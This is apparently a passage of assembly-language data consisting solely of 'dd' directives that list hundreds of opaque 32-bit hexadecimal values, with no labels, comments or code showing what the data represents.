		dd 9EF5E686h, 72E8F17Eh, 0C5E1A7B9h, 0B5B132C6h, 0B942B930h
		dd 80DA8D30h, 0BAB15309h, 52B132A3h, 0AEB131D8h, 36485256h
		dd 0ABB6B459h, 59BE3256h, 0EAB13257h, 8CB132AAh, 32BE3256h
		dd 5DB1325Dh, 0AEB134BFh, 0C196F956h, 0AB83B6CBh, 0D43B3D56h
		dd 16B13256h, 13D13256h, 0EAD800EEh, 3CEB6907h,	69AC8D36h
		dd 57D06230h, 0ABB1CA56h, 0DAB132A3h, 0EAB13EDDh, 73333D56h
		dd 0B5B13256h, 5DB132D4h, 0A9323D56h, 58B13256h, 0ABB133DDh
		dd 0D5B1CE56h, 0EAA4B359h, 0F0BE3256h, 0BAB13259h, 5DB138BFh
		dd 838FA756h, 0DF945A67h, 0ABACAE53h, 5ED75256h, 55D76581h
		dd 14EED5A9h, 0DCD13256h, 77BBEAD7h, 0AEB13ABFh, 0A7F52656h
		dd 0DA8368B3h, 0D5B153B9h, 0EAB120BFh, 0D74D7556h, 6DAF821Eh
		dd 9032D199h, 29B31DF4h, 5700E0D6h, 0ABBFDB56h,	9C393256h
		dd 0B22B5170h, 66868688h, 20FD89ECh, 0DABE3256h, 0AEB1325Fh
		dd 9D30CA36h, 0F0EBCF23h, 29B13237h, 0E5D13256h, 7AE6CCE1h
		dd 0BAB132D2h, 5DD06D56h, 0AEA0DB56h, 0BBD53256h, 0CEFC1DC5h
		dd 0BCF20532h, 0A11721D5h, 75DF26EBh, 0BAB1CB56h, 3DB132AAh
		dd 0AEB1B659h, 57D03256h, 0A3333D56h, 0B5B13256h, 0CE978930h
		dd 75D06A05h, 0BAB1CE56h, 5DB122BFh, 3172F56h, 0FE61EFCDh
		dd 0EDCCBE2Dh, 0D4FDCA7Ch, 0EAB1CE18h, 75B138BFh, 20FA8756h
		dd 2F5AC9A6h, 0AE3B9A49h, 0A53A5256h, 9B23E5D7h, 0D5D067D4h
		dd 0EAB7DB56h, 0A6AA3256h, 1391B312h, 5D483256h, 0A6595256h
		dd 47B13256h, 0A014A9C3h, 54F6089Bh, 9866C396h,	75D0680Bh
		dd 0BAB1CB56h, 52B132AAh, 0AEB135D6h, 56373D56h, 5EB13256h
		dd 0D5B13ABFh, 0D12DC956h, 0B5655EFFh, 42B13296h, 5D443256h
		dd 0AEB1CE56h, 37B132AAh, 0ABB126BEh, 8B74F256h, 0C26E9E1Fh
		dd 6C1E3A2Eh, 0B275F8C6h, 9654B1ADh, 5BEFCB6Dh,	57B1CA37h
		dd 0ABBBDB36h, 0C55C3256h, 31A05FD9h, 0BF98829Fh, 0A6348B30h
		dd 0DDBE5237h, 0AEB1325Ah, 57B135BFh, 0A1A5CB56h, 97D3E49Ch
		dd 0EAB132BEh, 9F306856h, 0BC1FA06Eh, 48303DAAh, 0CEB13256h
		dd 5C59CADDh, 0A9B13256h, 0E5C1996Eh, 642F19F2h, 14EE0A57h
		dd 0E534BFAEh, 52B79FC6h, 0AEB124D3h, 57A0DB56h, 0F50A3256h
		dd 0F03B2A31h, 3DA31684h, 0D0C8E6E5h, 33D818A7h, 0F3CA38D4h
		dd 0AEBFDB50h, 0FDB3256h, 2FA18E18h, 3B8E0651h,	6487916Dh
		dd 0EE33BFAAh, 4FB79D0Ah, 26A9B0DFh, 52D134F8h,	5EE1EBD7h
		dd 0A4D059AEh, 0D5B127DEh, 61D75256h, 75BADB95h, 63CE3256h
		dd 7DA54D9Dh, 7726C594h, 0B1595365h, 42B13265h,	0D5B13251h
		dd 6374CF85h, 9D817844h, 0BAB130D1h, 3933F5AFh,	0AEB79C2Ch
		dd 58B13256h, 0ABB135DDh, 8EE35256h, 8B71EFD6h,	4C47B336h
		dd 53BD82DBh, 5DB1325Fh, 28E18F39h, 32F6EEB8h, 0CBE35380h
		dd 0D5B13BBFh, 112E9656h, 958C2CEh, 7CD0CEDBh, 0F5A4E7D3h
		dd 2ED16450h, 0D6BE0D91h, 0ABB13250h, 0D5B1BE59h, 3D03256h
		dd 75B13242h, 0ADE0048Ah, 8DE93E64h, 2738D0Ch, 0FD472358h
		dd 0B0998AD1h, 7D09603Eh, 0E35952CAh, 78B13256h, 0AB71B935h
		dd 6F31806h, 0AEB126BEh, 0F7BEF656h, 0B3726B2Fh, 0D200E1A0h
		dd 99D6FDCDh, 774AEB59h, 0DBEA690Dh, 522487A9h,	28BE34FEh
		dd 57B1325Fh, 311F8936h, 33A2A85h, 9B34BF37h, 9CB7993Fh
		dd 0BAB13250h, 0F6230115h, 7E4E2014h, 59586436h, 1EB13256h
		dd 0F8FE6D51h, 6D48E52Eh, 0CD81B97h, 5BE6B76h, 0D8385380h
		dd 0A819159Fh, 57B13BBFh, 0BBF8B856h, 7BC3FAFDh, 0EEDB2AAFh
		dd 75B138BFh, 0BD55D56h, 0A6448F24h, 0C6822128h, 57B12256h
		dd 0A6F15AA3h, 63D13255h, 8B09848Fh, 8A49323Ch,	0BD343D86h
		dd 3DB13256h, 19BE5336h, 0BEEB5399h, 0ABB1325Eh, 6C849753h
		dd 0AB319EAAh, 0F1BEF25Dh, 0BAB1335Bh, 3933BBAEh, 52B79C2Ch
		dd 2D1BB0DFh, 0FDD134F8h
		dd 0D5B13CBFh, 355E3D56h, 6095D963h, 81A3F220h,	4EE24A1h
		dd 0AEB3BC59h, 36D13256h, 0B73D3D37h, 0B5B13256h, 0EAB122BEh
		dd 1E227A56h, 0C5B6A772h, 5ADA9626h, 342575B3h,	0EED76855h
		dd 12D085FCh, 0D5B23F16h, 1349B9A3h, 13D1F265h,	8E7ADCD7h
		dd 3D1BC137h, 47E8E4D6h, 57B1325Bh, 0C304C2A2h,	3D9C0DDFh
		dd 75C4B2B6h, 80E353D4h, 4F44363Ch, 5DA1323Eh, 14D75256h
		dd 3FD0798Bh, 0ABB13656h, 0D5BCBB59h, 0E2583256h, 0BDB13256h
		dd 0CC9F145Ch, 0A5B7DF1Dh, 26BE323Ch, 57B1324Fh, 0ABB6DB36h
		dd 23973256h, 21840DB7h, 75B7DB3Dh, 0A8563256h,	0ED2A77Eh
		dd 6723CD37h, 0BEB79A71h, 0ABB1325Eh, 1CFBD7B6h, 9EAD15F7h
		dd 7C58CB0Ch, 0DAB13256h, 7751C02Bh, 8E517A24h,	2AC7B0DFh
		dd 42D134F8h, 0D5B13242h, 15D2933Bh, 3D12871Bh,	1E6BD45Dh
		dd 0C5E42D03h, 363566Ch, 0E4158B30h, 0B8585337h, 75B13256h
		dd 644073E8h, 0F179AF64h, 4782D6A9h, 53A72633h,	0C8D17E8Dh
		dd 5DE2C5D7h, 0D98D55E8h, 503A5328h, 0EC1F4832h, 0F9BEF1AFh
		dd 0BAB13251h, 5DB0B859h, 0CE483256h, 6633F5AFh, 0ABB79A48h
		dd 2CB17256h, 0EAA2DA36h, 0EC533256h, 399F0F69h, 1591B78h
		dd 21BECBD9h, 3BA60924h, 540B54FCh, 5BBE6A59h, 0EAB13240h
		dd 75B123BFh, 7DED9256h, 8194285h, 0C6FACADh, 783257B4h
		dd 6CD0A2EBh, 7DB853D4h, 0EAA13250h, 75BDDB56h,	1E6C3256h
		dd 194BF8D0h, 4E21FDD8h, 0AFD0EDCEh, 0CB44CB95h, 0D5B5B959h
		dd 1FD13256h, 0CF3A53AEh, 0BC1F4832h, 5DBBBB59h, 0AB583256h
		dd 0FB13256h, 86C7CA32h, 0DAB10DD5h, 0EAB1EED2h, 70585256h
		dd 59B13256h, 656BB084h, 0CFFDF0D6h, 880A5236h,	5E9C26E3h
		dd 0D5BDDB37h, 0CD013256h, 414095B3h, 457A6B27h, 0DED0C773h
		dd 0A1B32229h, 57B108D2h, 0D432CB56h, 51BE3646h, 0EAB13221h
		dd 75BBBB59h, 0B5D13256h, 950ECBE9h, 0CF9E7292h, 58A5F5D5h
		dd 0ABB133DAh, 4C58CB56h, 34ECDA9h, 75B1325Ch, 0CCA416BDh
		dd 0AA8A2096h, 694D6D40h, 57B02211h, 0A0583256h, 16B13256h
		dd 3790F319h, 53935178h, 7F58E120h, 524ECDA9h, 0AEB12ADCh
		dd 57A2DB56h, 3B0A3256h, 0DD6B40EAh, 673E02F7h,	0F4BD630Bh
		dd 93C91D0Eh, 55343D14h, 0CEB13256h, 58668559h,	6CD0C5E9h
		dd 0D5B22211h, 6FBE3256h, 75B1325Ah, 0BAB7B159h, 0D2BE3256h
		dd 0AEB13256h, 0A84E49BFh, 0AA3F3DA9h, 2DB13256h, 0FA5853AFh
		dd 49B13256h, 0F402C37Ah, 66032C73h, 4D292601h,	94ED1B4Ch
		dd 0ABBEDB36h, 8BF43256h, 1E504F9Fh, 2AA3EEFDh,	9FFAFC36h
		dd 5F303D5Fh, 0FEB13256h, 58E4530Fh, 0ABB133DBh, 393AC756h
		dd 5DBE52AAh, 73373D96h, 0B5B13256h, 5DB132D0h,	5BD15356h
		dd 57B132BEh, 41306856h, 0D31FA57Ah, 0E2585236h, 9BB13256h
		dd 8A562D81h, 0B48089C3h, 0AEB13251h, 4F778832h, 0CAF24FF5h
		dd 1250B330h, 0E5D153FBh, 75B134D6h, 0BA303D56h, 0B4B13256h
		dd 0AEB1325Dh, 9FE35D95h, 84F4E745h, 0B4C8CDB9h, 971380DDh
		dd 0FE4834F8h, 0AB583A13h, 54B13256h, 0AAC8271Fh, 0E68CFAFAh
		dd 1FEA5F1Fh, 0A80DA3A4h, 63BE34DFh, 75B1324Ah,	0BA313D36h
		dd 0B5B13256h, 0AEB13258h, 0F90A7EDCh, 9DC9E4B6h, 0CB974853h
		dd 8BEF3D9Bh, 813B0D5h,	0DAB534F8h, 5DB13CBFh, 0D007F056h
		dd 394F6CF6h, 13171C80h, 3C341917h, 0EAB1325Eh,	8190346Dh
		dd 66D0853Dh, 3DD0CE37h, 0DAB768ECh, 58D15337h,	0ABB133D5h
		dd 6BD7C756h, 23D04FC4h, 75B13DBFh, 0B5704756h,	0AC270131h
		dd 0EF4AE423h, 0A7648652h, 5EB13694h, 91035236h, 1C305237h
		dd 742B8864h, 0B158C736h, 2BB13256h, 33035205h,	0BB66471Eh
		dd 0CAD03062h, 0D5B132BEh, 306856h, 731FAA62h, 703A5436h
		dd 0D649CE37h, 0CC44E4h, 0D74D5250h, 90D0F6BEh,	7BCC90E4h
		dd 0FF353D50h, 8DB13257h, 31480CDDh, 0EBBECE89h, 58493319h
		dd 58313311h, 0ABB11CD3h, 0D5BBDB56h, 170B3256h, 1B9AA6B0h
		dd 52D7F5EFh, 0A544EB55h, 0AEB11EBFh, 57B7DB56h, 22EE3256h
		dd 4D3C5222h, 0EAB4BE59h, 15D13256h, 91D0CB37h,	5DBEDB8Fh
		dd 0F1033256h, 0DD739796h, 0EDE487B1h, 368FC1E4h, 0A9487176h
		dd 97305436h, 4E0E5184h, 3CC700C0h, 0A68CB7DDh,	0D0BE34FEh
		dd 0ABB1325Ch, 0D5B137BFh, 0E3B17F56h, 0F83AC763h, 0BC191903h
		dd 3E05236h, 954D5337h,	68333D8Eh, 0A4B13256h, 0D5B133DCh
		dd 338ACA56h, 7581B559h, 0BF583256h, 97B13256h,	0DF2E48A2h
		dd 0AEB5F4D5h, 544E0CBFh, 0C65852A9h, 39B13256h, 32EE3D1Fh
		dd 97A2B298h, 6ACE9622h, 0A1C6E3A2h, 0E8BE02EBh, 648A53A4h
		dd 0D58BB659h, 0FA583256h, 95B13256h, 14557E3Bh, 7DFA392Dh
		dd 427D31C5h, 58D1A88Dh, 0ABB133DBh, 6838CA56h,	0EC191903h
		dd 0BD3A5436h, 4450DB37h, 5458CDA9h, 19B13256h,	0B4D3A3F6h
		dd 0D59CFF72h, 57BE5237h, 0EAB13252h, 9DFF8D30h, 0DB70F9D6h
		dd 5DB6BD59h, 0C8D13256h, 1AE0E4D7h, 2AD1F137h,	9B15D4A6h
		dd 52D75237h, 14448813h, 0BABADB37h, 620F3256h,	3F46DE5Eh
		dd 8B32D6D9h, 12D1529Ch, 0A1CD6673h, 0EA373D07h, 2EB13256h
		dd 0BAB1DA37h, 0DCEB3256h, 28F3BCh, 31E75250h, 0D95FECD7h
		dd 0D3B5208h, 0D0B0D5D7h, 14D027FFh, 3BD75236h,	0DDA5B2B8h
		dd 24D0F096h, 0ED3A539Eh, 0AD1F4F20h, 8879B336h, 5FEF452Eh
		dd 0CC4953FAh, 0BAB13356h, 5DB138BFh, 42EDE556h, 8C0B011Dh
		dd 98C88B0Eh, 0D9323D96h, 0E5B13256h, 75B134D8h, 0BA363D56h
		dd 0AEB13256h, 25D752FDh, 0DCD0C795h, 5CC44D4h,	0D5BBDB50h
		dd 3ADD3256h, 0A345F4B8h, 834A9C32h, 2013B0DFh,	0BC5834F8h
		dd 5FB13256h, 2C0B350Ch, 5A15765Eh, 0B7E839E7h,	0BA441B93h
		dd 0BAB8DBC7h, 56923256h, 9582C865h, 36539EA0h,	0ABB0B259h
		dd 16493256h, 0E54852AAh, 75B13ED5h, 0BAB6DB56h, 83423256h
		dd 0C11FA22Bh, 57B1DA01h, 2AEB3256h, 7B2BBFBCh,	61D75250h
		dd 75A1DA85h, 48D43256h, 3C2576AEh, 0A6A9475h, 816E4862h
		dd 0EC0EC03Bh, 8CC6DD47h, 0E3585237h, 6B13256h,	5CD4251Ch
		dd 0F204D39Ah, 7B34F437h, 1B79A43h, 0C6885AA3h,	2A4DE649h
		dd 42BEA7E3h, 7A393D50h, 53B13256h, 5DB1325Ch, 0F9D7FE6Bh
		dd 6B1628CFh, 2E3CA81Eh, 0D31A5B27h, 0EAB13EBFh, 0C7F8C56h
		dd 0EF396799h, 5F2AAE0Dh, 7E4ECBEDh, 52383D36h,	0CDB13256h
		dd 9088E4D7h, 0EAB2BF59h, 0FED73256h, 53E353ACh, 5DB13259h
		dd 0F21531BDh, 655C8D3Dh, 472646Ch, 8589B57Ch, 6AB15AAAh
		dd 1F443256h, 0BAA5DB56h, 2F033256h, 28AE4276h,	0ACA99C15h
		dd 0B68BF125h, 28C022D9h, 584EC37Dh, 731F4832h,	63305436h
		dd 8530706Fh, 0B333E6C2h, 5861CD37h, 0ABB139DBh, 22305256h
		dd 0E90336DFh, 1476B930h, 0EBD1520Eh, 3C4BB90Fh, 5B496837h
		dd 5731323Eh, 0AC363D56h, 0DAB13256h, 0EAB133D5h, 75DBC756h
		dd 0CC03CDA3h, 3DB79C2Bh, 0AEB1B759h, 0E9D73256h, 54D01A59h
		dd 2DD0CA86h, 66BE5295h, 75B13253h, 0C16BB330h,	5DB6DB54h
		dd 0C5633256h, 358991B3h, 0CBE45392h, 0D5B135BFh, 0AB2D5B56h
		dd 0FBE39FF1h, 0E06BB905h, 5DA3DB37h, 0A083256h, 16BDA374h
		dd 0D62E2461h, 0BE130331h, 0C1238143h, 25D1DEDDh, 0DAD0CE0Eh
		dd 5DB1DAAFh, 2FEB3256h, 0F92D37BCh, 0ABB7DB50h, 5BB93256h
		dd 532B989Dh, 0F4D75236h, 0DB3AC290h, 5DB137BFh, 0D8332456h
		dd 58D03341h, 0ABB133DEh
		dd 0A03ACA56h, 0EC3D3D5Eh, 15B13256h, 0E3E06C00h, 5312DA37h
		dd 23BE3256h, 57B13240h, 0ABB123BFh, 0A9240156h, 0F9D2E7EFh
		dd 9FC7CDD0h, 93C7BE28h, 0A8E48F16h, 0D5BBA0A9h, 37D134F8h
		dd 3047B330h, 27063D38h, 68BE6037h, 75B13256h, 0A958530Eh
		dd 0B0B13256h, 96064EBDh, 2C09E250h, 3E1BDE7Bh,	0D9BCDD3Bh
		dd 8AECC0CBh, 1CCEC1D7h, 6D303FCEh, 6F100597h, 0A2C40937h
		dd 0A822B759h, 0A4D1CDA9h, 0D5B134D4h, 0EA373D56h, 14B13256h
		dd 0BABF1ABEh, 52D0C756h, 0AEB120D8h, 57BCDB56h, 0A8243256h
		dd 61F4EAF8h, 3EB37862h, 0BC2BEDD8h, 0BAB13FBFh, 0A6F29B56h
		dd 26993DEAh, 34E92758h, 0A3737F72h, 0DAE4CB56h, 0EAB13AD0h
		dd 77383D56h, 0DAB13256h, 0A15DB937h, 0A14DF6D5h, 57B134D0h
		dd 0CD485256h, 83D0E3DDh, 0EB3C3D36h, 80B13256h, 6076B330h
		dd 0B4E65383h, 0AEB1325Fh, 5F50FBDCh, 872C9CB8h, 0D35861D6h
		dd 0E3B13256h, 0FDBC01A2h, 0BAB1DAABh, 0DCEB3256h, 2C73BCh
		dd 57A0DB50h, 1BE93256h, 0DB7F7F58h, 24447CD5h,	5493E690h
		dd 4291BFAEh, 52B947DDh, 0AEB139D8h, 57B7DB56h,	12173256h
		dd 0D001A799h, 0E5A14FDDh, 75B13CD3h, 36BE5256h, 5DB13256h
		dd 0AEB1B259h, 0BED03256h, 0ABB1325Ah, 0A5AA7201h, 0EE24816h
		dd 820CE651h, 0B2323D01h, 3DB13256h, 0AEB1B959h, 1D03256h
		dd 0D0552AEh, 3DD00CE1h, 0EAB133BFh, 0E050B236h, 0DBD7D3D6h
		dd 0D9BEF25Dh, 0AEB13364h, 0A70E3D36h, 0ABB1BC59h, 0B5D03256h
		dd 0EAB123BFh, 0A559CF56h, 44116C5Ch, 0D135856Eh, 7D7B7BC2h
		dd 5159C753h, 69B13256h, 4FDBC1E8h, 61D06AAFh, 63353DAEh
		dd 0DAB13256h, 0B470B930h, 0AEB1325Ah, 8E512549h, 5A6BE7D0h
		dd 46A2ECA7h, 0E5586737h, 0CBB13256h, 0CEEEF44Dh, 7F5B50B8h
		dd 2C6B5E31h, 0C54E16C4h, 0AD1F495Ch, 0D5B121BFh, 52891B56h
		dd 0ABA2E9C5h, 576DEECBh, 0E9EE3417h, 62882650h, 31E1520Bh
		dd 5DD4D8D7h, 0D53D3D08h, 8BB13256h, 7ABD476Dh,	0BAB1ABD2h
		dd 52D15256h, 0AEB132D4h, 0BE305456h, 0CBD0AD07h, 0B4D0CEAAh
		dd 0EAA2B959h, 7B583256h, 0C8B13256h, 920E8A3h,	0C447E3D3h
		dd 7A5159F9h, 0B53A54A5h, 2556B2AAh, 0EAB126BFh, 0C8663E56h
		dd 0C181BFDEh, 8BD2B033h, 7B98D79Fh, 0C25D54C5h, 5EAFB809h
		dd 2041D1D6h, 0CE24DAAAh, 70583256h, 0C2B13256h, 0BA6FAFD6h
		dd 514FE1BFh, 314952A9h, 0CAE72FEFh, 0D8595236h, 42B13256h
		dd 13A06C0Bh, 0F73594D4h, 5D7ADE8Ah, 0AE363D0Dh, 36B13256h
		dd 1978B336h, 6A8B8A84h, 0A002C4F4h, 8385337h, 3BD752AAh
		dd 3BE0B380h, 0CF57EEE9h, 0A847F0BEh, 0A2373DA9h, 0B5B13256h
		dd 87DB77EFh, 1477B94Fh, 523B520Dh, 5DB126BEh, 6C9356h
		dd 2228EAC4h, 0F1CE63B8h, 3650C032h, 0BE5FFCBBh, 75A5DA2Eh
		dd 0F3133256h, 449057AEh, 0DAAF3DD4h, 0B4412009h, 326B264h
		dd 8AE967E4h, 0E5485237h, 2AD0E2E1h, 0BAB139BFh, 4C50A256h
		dd 441B0951h, 0CB113EECh, 0ABB9DB08h, 2ACD3256h, 1D3D87FAh
		dd 303A6067h, 0AB5852AAh, 0D1B13256h, 0F78EA71Ah, 0BC27EF8Fh
		dd 0C5452CD9h, 44B7197Ah, 284DFB37h, 0FDBE325Ah, 0BAB13257h
		dd 0D3BE67AAh, 0AEB13257h, 0A25DB9AFh, 5375B1AFh, 5E4D5236h
		dd 0EC58539Ch, 7CB13256h, 0F063E932h, 0A4E653A6h, 0AEB0BB59h
		dd 1443256h, 0F84963AEh, 2957B236h, 0AF7653AFh,	75B132AEh
		dd 0B73C3D56h, 3DB13256h, 7E900EEEh, 0F346B357h, 0CAAF52EDh
		dd 0A90AB091h, 0EAB034F8h, 7B583256h, 0BCB13256h, 0EC0CA451h
		dd 71C80C9Fh, 1A27E509h, 0A3C4B930h, 0D5B13EBFh, 0E6788D56h
		dd 70E9754Fh, 84C23A7Ah, 433A5435h, 0AEB13EBFh,	1F6E3E56h
		dd 235C7F71h, 0B458FD8Bh, 8E0BB988h, 89B79C2Ch,	0BAB0BB59h
		dd 0D6493256h, 0A7583A09h, 0F0B13256h, 0BDF14E10h, 0E09A63B4h
		dd 6EBEE95Dh, 75B132D7h, 48063D36h, 2F0E5400h, 95D06B0Ah
		dd 48343D88h, 42B13256h, 0D5B13244h, 1E541026h,	3DC8B3D9h
		dd 4864DCE7h, 1046AADEh, 0F33A44EBh, 838CE5Ah, 6C32CA5Ah
		dd 0D5B6DB42h, 77A63256h, 3044CD4Dh, 4510DBD9h,	0D7BECDA9h
		dd 0AEB13276h, 57323D36h, 43B13256h, 0D5B13244h, 1686DD7h
		dd 3E40467Eh, 0FCD8350h, 0BA59F80Ah, 0CFE8E9B5h, 57B122BFh
		dd 4D021B56h, 10DCC9A4h, 3E47816Fh, 4305FD04h, 0A43A54CFh
		dd 3B44B836h, 2ED0F8DDh, 0D3BEDAADh, 0ABB13161h, 0A8F28836h
		dd 6AD02F3Fh, 0F1BEDBADh, 0BAB13171h, 0B64AB2A3h, 0ADACB659h
		dd 0BE483256h, 0ABB1325Ah, 0E10C99B5h, 0DB558CBh, 4DFEF6C9h
		dd 0B553C9D6h, 5DB3C2D2h, 48305256h, 6863D057h,	484AB237h
		dd 0D776B659h, 60BE3256h, 75B1325Bh, 0BAB13ABFh, 4B322456h
		dd 86BB70A5h, 0AC30542Bh, 2FBED131h, 0D5B13097h, 0EAA7BD59h
		dd 0FABE3256h, 0BAB13246h, 5DB139BFh, 0CA67C656h, 0E88C9F8h
		dd 0DE53E055h, 0B541D5D6h, 8CD1ECDCh, 136F6BEFh, 0DBD0CCDDh
		dd 524AB330h, 32353DD6h, 37B13254h, 0ABB122BEh,	152A1856h
		dd 0D0AB4857h, 2D443AB8h, 22A06A15h, 4362B360h,	0F7DA8A62h
		dd 0D7D0E5DDh, 2B4DC2B5h, 51BE42ADh, 0EAB13039h, 6B3A54A3h
		dd 0BAB139BFh, 70571656h, 12FAA5BFh, 4EB4ED29h,	5E49D1D6h
		dd 0DA09C9D6h, 0EAB069D2h, 0F4D75256h, 0AF6969Ch, 633153D8h
		dd 0E7353D53h, 0BEB13257h, 0ABB1325Dh, 6E6AC9D6h, 96127B19h
		dd 0F503DA59h, 3EBE1F68h, 5DB13366h, 0AEB0B659h, 0D74D3256h
		dd 2FBE5A68h, 0D5B13376h, 0EAB137BFh, 0CEA25456h, 384EFA91h
		dd 5B1F4EEDh, 2FD752AAh, 0D6C6B289h, 0E0F59FA1h, 5ED7536Eh
		dd 38315248h, 96305455h, 3AD0EDADh, 5758CAB1h, 0D7B13256h
		dd 0C4EC7512h, 3DE4B78h, 58BE52ECh, 0EAB13254h,	7F585336h
		dd 0B6B13256h, 1F6866A3h, 66BE6E3Eh, 0D6D753D0h, 0A459B3ADh
		dd 0D5B18DD2h, 61D7CB56h, 743D3D48h, 4FB13256h,	820E3D36h
		dd 0B0D48C36h, 59580F79h, 50B13256h, 46BAF1C4h,	880B7A0Ah
		dd 0A19AB8A8h, 3AD053E7h, 4E58C2B1h, 0EB13256h,	81DFCC08h
		dd 0EA099478h, 0DDBFB77Dh, 0D13671C3h, 0F4D7297Ch, 0B571B3ADh
		dd 5DB15DD2h, 2EBE5256h, 57B13250h, 1CDECD7h, 1C0A1EDFh
		dd 8BBB0139h, 74313D36h, 46B13256h, 5C323D03h, 52B13256h
		dd 2CBBA0A9h, 42D134F8h, 0D5B1325Ch, 3D9BED88h,	0CD69B9EDh
		dd 57314365h, 4D534Ah, 0AEB6B659h, 0E7D13256h, 9A79B297h
		dd 29F4BB37h, 0EAB13ABFh, 5FCD6256h, 0CD7924E0h, 0DE4453FAh
		dd 0A1B0CE2Bh, 57B0C8D3h, 0AA3E3D56h, 20B13256h, 0F48088DDh
		dd 0F2BE34FEh, 0BAB13257h, 5DB9DBA3h, 0FEF73256h, 1AD8D75Fh
		dd 52E15FB9h, 0A90AB0DDh, 0E35834F8h, 24B13256h, 3344A953h
		dd 89E588B4h, 47810E6Fh, 57B13258h, 7DCE4F31h, 8497659Bh
		dd 0A2A9A731h, 7AE93BB0h, 0BAB094D4h, 0E73ACA56h, 0A8193B37h
		dd 55303D36h, 20B13256h, 0CA048888h, 0BAD07AF2h, 0C3445236h
		dd 0B75953E9h, 3BB13256h, 448D9B3Dh, 431ADEEAh,	0BE72B6DAh
		dd 573A5309h, 0EC1F4EEDh, 458D0BAAh, 0BABDB259h, 5A583256h
		dd 0ECB13256h, 22A79F55h, 0F349E583h, 0D4E0BD59h, 3443256h
		dd 75B1325Fh, 3886AF0Dh, 0AD8C335Bh, 0AE8CDB52h, 59583256h
		dd 21B13256h, 51EAEF6Ah, 1387EB6h, 3836472Eh, 42F4F51Bh
		dd 5DB13254h, 0AEB137BFh, 0D10E056h, 4248ED20h,	0D5B13245h
		dd 12F4F5A3h, 75B13257h, 0BAB134BFh, 1BB30E56h,	2544AF37h
		dd 0F9CB56ECh, 0B43AC750h
		dd 0D5B13BBFh, 36353556h, 0EFEF96A3h, 61BABE43h, 5D50B659h
		dd 0BC583256h, 12B13256h, 8222F441h, 5E0EEBCDh,	0C280DFDAh
		dd 4AC50C1Ch, 0B56F0978h, 5DB1B3D3h, 2544CB56h,	0D8BE3E0Bh
		dd 0ABB1324Eh, 0D5B121BFh, 0D65E6456h, 0F3AC0926h, 47717507h
		dd 10F794F2h, 0A2DBE740h, 57494FD5h, 0AB94B659h, 5CBE3256h
		dd 0EAB1325Bh, 75B13ABFh, 0FC805156h, 0DDCFA480h, 0A6313D35h
		dd 58B13256h, 0ABB130DAh, 0D6D05256h, 6348CA0Bh, 0F5BE3609h
		dd 0BAB1325Bh, 5DB7DB36h, 0B6EA3256h, 0D46B3D48h, 0ABA5DB37h
		dd 848B3256h, 1DC710C5h, 4003FA3Dh, 9C0D7636h, 9645F3EEh
		dd 69321A5Eh, 0E2D15242h, 0A758531Eh, 26B13256h, 0EF25FA5Bh
		dd 2F69BF76h, 0DBE884E1h, 0A24E1BBFh, 0A33F3DA9h, 37B13256h
		dd 0ABB1B559h, 1C0E3256h, 8B96FEDFh, 9C48F265h,	0BAB13627h
		dd 5DB0B059h, 0C84D3256h, 0D7D12CDDh, 0CDE7F58Fh, 0B4EAF8DDh
		dd 8ABD4FDDh, 0BA25D9D7h, 0B6586CACh, 7BB13256h, 0A4276897h
		dd 0CF91F872h, 0CADE4C49h, 3E4AB2AEh, 0EAEAB659h, 0F5BE3256h
		dd 0BAB13259h, 5DB138BFh, 5F0D5756h, 82D456F5h,	2B3BDFD1h
		dd 0DAD1C2B5h, 6AD0CBE9h, 0F1BE42ADh, 0BAB132CEh, 5DB13DBFh
		dd 0E538DE56h, 0A251D128h, 0ADBFE996h, 0E06DF608h, 0EAB025BFh
		dd 633F3D56h, 53B13256h, 5DB13247h, 25E18A89h, 0A3DC6AC9h
		dd 0C92092E1h, 0F87C16B5h, 3B6F428h, 75A0DB36h,	164E3256h
		dd 6C46BEE3h, 0A6C3D804h, 0B0E0941Fh, 0FDF1F694h, 0B4E85336h
		dd 0EAB07591h, 9CB13256h, 0BAB13242h, 0E868F3C1h, 61EEB5C1h
		dd 9EA2D8Dh, 64A31ED1h,	21C22C22h, 0F958F5DDh, 13B13256h
		dd 4EC897A7h, 0BAB1B975h, 30CF5E1Dh, 42F565BDh,	6B329F40h
		dd 0AF58CA53h, 16B13255h, 7AB6F530h, 0B6343D5Eh, 52B13256h
		dd 0AEB134DDh, 57383D56h, 21B13256h, 0D5BCDB48h, 0EC363256h
		dd 154B9CE3h, 0B9471C5h, 0DD2F8197h, 0A1D13DB5h, 57B131D3h
		dd 65063D56h, 0DB393D37h, 8AB13256h, 9F7BEDD7h,	33BE3A43h
		dd 5DB13256h, 2E7AB237h, 57B13DBFh, 0B67C2656h,	8D988CEEh
		dd 0A66CED91h, 5F2BF722h, 53B06DDEh, 5DB13247h,	7F268DC3h
		dd 0C5A5B3E6h, 0E100FE40h, 1F346D4Bh, 0E8F6F5F1h, 75B13256h
		dd 0BAB0B059h, 0D6493256h, 6E32CE91h, 0B558CE50h, 52B13254h
		dd 458FB330h, 8A353DC6h, 8CB13256h, 3BD76036h, 69AF599h
		dd 0EFBBF8ECh, 69315311h, 0C3343DC6h, 2CB13256h, 15CFB330h
		dd 0F1BEA2C6h, 0BAB1326Dh, 0BB0F5436h, 0FE585345h, 58B13256h
		dd 0ABB13FDFh, 0D5B9DB56h, 5F7B3256h, 24512D6Ch, 0EAD1A04Fh
		dd 7B73B330h, 0A15869C7h, 58B13256h, 0CB35E990h, 82EF59EBh
		dd 0BB89FA17h, 0FED099D7h, 0D458CE91h, 0B4B13254h, 0AEB13245h
		dd 955A594Eh, 1A085276h, 3C621C5Bh, 14F2E45Bh, 0F8982D2Fh
		dd 14CCE3D4h, 47383D50h, 0CEB13256h, 0BE84EAD6h, 0ABB13246h
		dd 7200C1CDh, 856B810Bh, 6DD8E495h, 9846D5BAh, 0B446237h
		dd 0FD085436h, 0A7A28C02h, 54D064EEh, 7BCA2AC4h, 2ABAC750h
		dd 7587B659h, 30BE3256h, 5DB1325Bh, 65305436h, 0D7BEEBE6h
		dd 0ABB13256h, 0B579B937h, 0A96FB330h, 0F8D0CECAh, 14CCE3E4h
		dd 5C3B3D50h, 52B13256h, 57B143BFh, 0AA333D56h,	20B13256h
		dd 38305200h, 156F71F2h, 31D0C1DDh, 52E35298h, 0AEB132D3h
		dd 0DCD76B56h, 0A4E4538Fh, 0D5B133DDh, 784EC756h, 731F495Ch
		dd 3EBE6FA3h, 5DB1325Dh, 0AEB134BFh, 0FF0BFC56h, 8008C689h
		dd 30315298h, 8B43B987h, 25D1EBA1h, 0E446B930h,	5DB3B759h
